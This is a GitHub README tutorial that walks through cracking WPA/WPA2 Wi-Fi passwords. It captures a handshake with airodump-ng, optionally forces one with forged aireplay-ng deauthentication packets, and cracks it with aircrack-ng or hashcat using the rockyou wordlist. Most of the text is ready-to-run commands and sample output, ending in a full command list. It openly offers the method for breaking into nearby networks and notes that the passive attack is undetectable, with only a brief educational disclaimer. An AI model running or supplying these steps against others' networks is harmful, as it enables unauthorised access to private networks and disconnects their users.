Crack WPA/WPA2 Wi-Fi Routers with Airodump-ng and Aircrack-ng/Hashcat

wifi wpa2-cracking aircrack-ng hashcat hacking tutorial

16 commits **1** branch **0** releases **5** contributors MIT

Branch: **master** New pull request Find file Clone or download

brannondorsey committed on **GitHub** Merge pull request #5 from tversteeg/master ... Latest commit ac1eed7 2 hours ago

.gitignore	First com...	2 days ago
LICENSE	Create LICENSE	2 days ago
README.md	Merge pull request #5 from tversteeg/master	2 hours ago

README.md

Wi-Fi Cracking

Crack WPA/WPA2 Wi-Fi Routers with Airodump-ng and Aircrack-ng/Hashcat.

This is a brief walk-through tutorial that illustrates how to crack Wi-Fi networks that are secured using weak passwords. It is not exhaustive, but it should be enough information for you to test your own network's security or break into one nearby. The attack outlined below is entirely passive (listening only, nothing is broadcast from your computer) and it is impossible to detect provided that you don't actually use the password that you crack. An optional active deauthentication attack can be used to speed up the reconnaissance process and is described at the end of this document.

If you are familiar with this process, you can skip the descriptions and jump to a list of the commands used at the bottom.

DISCLAIMER: This software/tutorial is for educational purposes only. It should not be used for illegal activity. The author is not responsible for its use. Don't be a dick.

Getting Started

This tutorial assumes that you:

- Have a general comfortability using the command-line
- Are running a debian-based linux distro (preferably Kali linux)
- Have Aircrack-ng installed
  - `sudo apt-get install aircrack-ng`

- Have a wireless card that supports monitor mode (I recommend this one. See here for more info.)

Cracking a Wi-Fi Network

Monitor Mode

Begin by listing wireless interfaces that support monitor mode with:

```
airmon-ng
```

If you do not see an interface listed then your wireless card does not support monitor mode ☹

We will assume your wireless interface name is `wlan0` but be sure to use the correct name if it differs from this. Next, we will place the interface into monitor mode:

```
airmon-ng start wlan0
```

Run `iwconfig`. You should now see a new monitor mode interface listed (likely `mon0` or `wlan0mon`).

Find Your Target

Start listening to 802.11 Beacon frames broadcast by nearby wireless routers using your monitor interface:

```
airodump-ng mon0
```

You should see output similar to what is below.

```
CH 13 ][ Elapsed: 52 s ][ 2017-07-23 15:49

 BSSID         PWR  Beacons   #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 14:91:82:F7:52:EB  -66    205     26   0   1  54e  OPN          belkin.2e8.guests
 14:91:82:F7:52:E8  -64    212     56   0   1  54e  WPA2 CCMP   PSK  belkin.2e8
 14:22:DB:1A:DB:64  -81     44      7   0   1  54   WPA2 CCMP       <length:  0>
 14:22:DB:1A:DB:66  -83     48      0   0   1  54e. WPA2 CCMP   PSK  steveserro
 9C:5C:8E:C9:AB:C0  -81     19      0   0   3  54e  WPA2 CCMP   PSK  hackme
 00:23:69:AD:AF:94  -82    350      4   0   1  54e  WPA2 CCMP   PSK  Kaitlin's Awesome
 06:26:BB:75:ED:69  -84    232      0   0   1  54e. WPA2 CCMP   PSK  HH2
 78:71:9C:99:67:D0  -82    339      0   0   1  54e. WPA2 CCMP   PSK  ARRIS-67D2
 9C:34:26:9F:2E:E8  -85     40      0   0   1  54e. WPA2 CCMP   PSK  Comcast_2EEA-EXT
 BC:EE:7B:8F:48:28  -85    119     10   0   1  54e  WPA2 CCMP   PSK  root
 EC:1A:59:36:AD:CA  -86    210     28   0   1  54e  WPA2 CCMP   PSK  belkin.dca
```

For the purposes of this demo, we will choose to crack the password of my network, "hackme". Remember the BSSID MAC address and channel (`CH`) number as displayed by `airodump-ng`, as we will need them both for the next step.

Capture a 4-way Handshake

WPA/WPA2 uses a 4-way handshake to authenticate devices to the network. You don't have to know anything about what that means, but you do have to capture one of these handshakes in order to crack the network password. These handshakes occur whenever a device connects to the network, for instance, when your neighbor returns home from work. We capture this handshake by directing `airmon-ng` to monitor traffic on the target network using the channel and bssid values discovered from the previous command.

```
# replace -c and --bssid values with the values of your target network
# -w specifies the directory where we will save the packet capture
airodump-ng -c 3 --bssid 9C:5C:8E:C9:AB:C0 -w . mon0
```

```
 CH  6 ][ Elapsed: 1 min ][ 2017-07-23 16:09 ]
```

```
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 9C:5C:8E:C9:AB:C0  -47   0    140      0   0   6  54e  WPA2 CCMP   PSK  ASUS
```

Now we wait... Once you've captured a handshake, you should see something like `[ WPA handshake: bc:d3:c9:ef:d2:67` at the top right of the screen, just right of the current time.

If you are feeling impatient, and are comfortable using an active attack, you can force devices connected to the target network to reconnect, be sending malicious deauthentication packets at them. This often results in the capture of a 4-way handshake. See the deauth attack section below for info on this.

Once you've captured a handshake, press `ctrl-c` to quit `airodump-ng`. You should see a `.cap` file wherever you told `airodump-ng` to save the capture (likely called `-01.cap`). We will use this capture file to crack the network password. I like to rename this file to reflect the network name we are trying to crack:

```
mv ./-01.cap hackme.cap
```

Crack the Network Password

The final step is to crack the password using the captured handshake. If you have access to a GPU, I **highly** recommend using `hashcat` for password cracking. I've created a simple tool that makes hashcat super easy to use called `naive-hashcat`. If you don't have access to a GPU, there are various online GPU cracking services that you can use, like GPUHASH.me or OnlineHashCrack. You can also try your hand at CPU cracking with Aircrack-ng.

Note that both attack methods below assume a relatively weak user generated password. Most WPA/WPA2 routers come with strong 12 character random passwords that many users (rightly) leave unchanged. If you are attempting to crack one of these passwords, I recommend using the Probable-Wordlists WPA-length dictionary files.

Cracking With `naive-hashcat` (recommended)

Before we can crack the password using naive-hashcat, we need to convert our `.cap` file to the equivalent hashcat file format `.hccapx`. You can do this easily by either uploading the `.cap` file to https://hashcat.net/cap2hccapx/ or using the `cap2hccapx` tool directly.

```
cap2hccapx.bin hackme.cap hackme.hccapx
```

Next, download and run `naive-hashcat`:

```
# download
git clone https://github.com/brannondorsey/naive-hashcat
cd naive-hashcat

# download the 134MB rockyou dictionary file
curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

# crack ! baby ! crack !
# 2500 is the hashcat hash mode for WPA/WPA2
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
```

Naive-hashcat uses various dictionary, rule, combination, and mask (smart brute-force) attacks and it can take days or even months to run against mid-strength passwords. The cracked password will be saved to hackme.pot, so check this file periodically. Once you've cracked the password, you should see something like this as the contents of your `POT_FILE`:

```
e30a5a57fc00211fc9f57a4491508cc3:9c5c8ec9abc0:acd1b8dfd971:ASUS:hacktheplanet
```

Where the last two fields seperated by `:` are the network name and password respectively.

If you would like to use `hashcat` without `naive-hashcat` see this page for info.

Cracking With Aircrack-ng

Aircrack-ng can be used for very basic dictionary attacks running on your CPU. Before you run the attack you need a wordlist. I recommend using the infamous rockyou dictionary file:

```
# download the 134MB rockyou dictionary file
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
```

Note, that if the network password is not in the wordfile you will not crack the password.

```
# -a2 specifies WPA2, -b is the BSSID, -w is the wordfile
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt hackme.cap
```

If the password is cracked you will see a `KEY FOUND!` message in the terminal followed by the plain text version of the network password.

```
                      Aircrack-ng 1.2 beta3


            [00:01:49] 111040 keys tested (1017.96 k/s)


                KEY FOUND! [ hacktheplanet ]


    Master Key     : A1 90 16 62 6C B3 E2 DB BB D1 79 CB 75 D2 C7 89
                     59 4A C9 04 67 10 66 C5 97 83 7B C3 DA 6C 29 2E

    Transient Key  : CB 5A F8 CE 62 B2 1B F7 6F 50 C0 25 62 E9 5D 71
                     2F 1A 26 34 DD 9F 61 F7 68 85 CC BC 0F 88 88 73
                     6F CB 3F CC 06 0C 06 08 ED DF EC 3C D3 42 5D 78
                     8D EC 0C EA D2 BC 8A E2 D7 D3 A2 7F 9F 1A D3 21

    EAPOL HMAC     : 9F C6 51 57 D3 FA 99 11 9D 17 12 BA B6 DB 06 B4
```

Deauth Attack

A deauth attack sends forged deauthentication packets from your machine to a client connected to the network you are trying to crack. These packets include fake "sender" addresses that make them appear to the client as if they were sent from the access point themselves. Upon receipt of such packets, most clients disconnect from the network and immediately reconnect, providing you with a 4-way handshake if you are listening with `airodump-ng`.

Use `airodump-ng` to monitor a specific access point (using `-c channel --bssid MAC`) until you see a client (`STATION`) connected. A connected client look something like this, where is `64:BC:0C:48:97:F7` the client MAC.

```
CH  6 ][ Elapsed: 2 mins ][ 2017-07-23 19:15 ]

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

9C:5C:8E:C9:AB:C0  -19  75    1043     144   10   6  54e  WPA2 CCMP   PSK  ASUS

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

9C:5C:8E:C9:AB:C0  64:BC:0C:48:97:F7  -37    1e- 1e     4      6479  ASUS
```

Now, leave `airodump-ng` running and open a new terminal. We will use the `aireplay-ng` command to send fake deauth packets to our victim client, forcing it to reconnect to the network and hopefully grabbing a handshake in the process.

```
# -0 10 specifies we would like to send 10 deauth packets
# -a is the MAC of the access point
# -c is the MAC of the client
aireplay-ng -0 10 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0
```

Once you've sent the deauth packets, head back over to your `airodump-ng` process, and with any luck you should now see something like this at the top right: `[ WPA handshake: 9C:5C:8E:C9:AB:C0`. Now that you've captured a handshake you should be ready to crack the network password.

List of Commands

Below is a list of all of the commands needed to crack a WPA/WPA2 network, in order, with minimal explanation.

```
# put your network device into monitor mode
airmon-ng start wlan0

# listen for all nearby beacon frames to get target BSSID and channel
airodump-ng mon0

# start listening for the handshake
airodump-ng -c 6 --bssid 9C:5C:8E:C9:AB:C0 -w capture/ mon0

# optionally deauth a connected client to force a handshake
aireplay-ng -0 10 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0

########## crack password with aircrack-ng... ##########

# download 134MB rockyou.txt dictionary file if needed
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

# crack w/ aircrack-ng
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt capture/-01.cap

########## or crack password with naive-hashcat ##########

# convert cap to hccapx
cap2hccapx.bin capture/-01.cap capture/-01.hccapx

# crack with naive-hashcat
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
```

Attribution

Much of the information presented here was gleaned from Lewis Encarnacion's awesome tutorial. Thanks also to the awesome authors and maintainers who work on Aircrack-ng and Hashcat.

Shout out to DrinkMoreCodeMore, hivie7510, hartzell, flennic, bhusang, and Shark0der who also provided suggestions and typo fixes on Reddit and GitHub. If you are interested in hearing some great proposed alternatives to WPA2, check out some of the great discussion on this Hacker News post.